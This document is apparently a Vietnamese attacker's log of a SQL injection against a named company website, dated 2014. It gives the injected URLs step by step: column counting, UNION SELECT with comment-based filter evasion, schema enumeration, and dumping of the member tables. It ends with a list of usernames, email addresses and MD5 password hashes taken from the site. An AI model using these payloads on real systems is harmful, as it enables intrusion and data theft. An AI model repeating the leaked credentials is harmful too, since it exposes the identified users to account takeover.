SQLi 09-01-2014

victim http://www.vietlandaudit.com.vn/?page=news&act=detail&newsid=169

B1: check lỗi. Oke
B2: truy vấn cột( 14 cột)

http://www.vietlandaudit.com.vn/?page=news&act=detail&newsid=-169 order by 14--

 B3: tìm cột bị lỗi

http://www.vietlandaudit.com.vn/?page=news&act=detail&newsid=-169 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- -

Tìm được cột bị lỗi là 2.( kéo tận xuống dưới cùng mới thấy)
B4: Truy vấn bảng.

http://www.vietlandaudit.com.vn/?page=news&act=detail&newsid=-169 /*!UNION*/ /*!SELECT*/ 1,unhex(hex(group_concat(/*!table_name*/))),3,4,5,6,7,8,9,10,11,12,13,14 from information_schema.tables-- -

tim được bảng nghi ngờ liên quan tới tài khoản: member,mk_users,administrator
 B5: Check cột trong bang member xem nào

http://www.vietlandaudit.com.vn/?page=news&act=detail&newsid=-169 /*!UNION*/ /*!SELECT*/ 1,unhex(hex(group_concat(/*!column_name*/))),3,4,5,6,7,8,9,10,11,12,13,14 from information_schema.columns where /*!table_name*/=0x6d656d626572-- -

Thu được: id,user,pass,name_vie,address_vie,ngay,phone,mobi,fax,mail,images,date_start
B6: Check thông tin nào

http://www.vietlandaudit.com.vn/?page=news&act=detail&newsid=-169 /*!UNION*/ /*!SELECT*/ 1,unhex(hex(group_concat(/*!user,0x207c20,pass,0x7c7c*/))),3,4,5,6,7,8,9,10,11,12,13,14 from member-- -

Thu được 1 list sau

    lenhatvi | d8578edf8458ce06fbc5bb76a58c5ca4||,
    it | 0d149b90e7394297301c90191ae775f0||,
    nhatnam | 48b490748220527eb3ee20c2c8231409||,
    overlandclub | 7c6cfde61cd193021b1c9dc96431d27d||,
    hansol | 675a6a25a1841e90de526a8ee2f6b7d7||,
    phuongdong | 9b0cfaf3eda22868e297ff02c2db4868||,
    jungil | 9b0e98cbebccce4a8467e5ed2366f033||,
    wongeak | c374c51b9993312f521d509573bd6806||,
    nbis | 1e9f1d12d00feaea4f10588f8387e5a1||,
    kimhuong | 8df993f0817ebf22b0568d0a48b8856d||,
    datviet | 6b73cd08c1cb0f1eca3685a14f063662||,
    kslamdong | efba4eab6231c7d8ac8dd102aa8511bf||,
    vlkimlong | 360bb92cdf19272c1b67a2b8ee7189f3||,
    samsunvina | c278528fc87099d08e9b3a7e3e5658f8||,
    tranvantytran | c24bd783e5cf1dfc5b0c79d0427c2ff6|| 

Check mk_member được

,Name,FullName,Email,Password,Birthdate,Gender,Admin,ShowUser,idcomp  (//13)

vietland@vietlandaudit.com.vn|690027a27062402279461d0fee1bcd5c|0||,
info@sangtaovn.com|5553ff5bb3fd63dd9cf4ff700c17f30f|0||, sangtaovn
|1cb251ec0d568de6a929b520c4aed8d1|1|| = text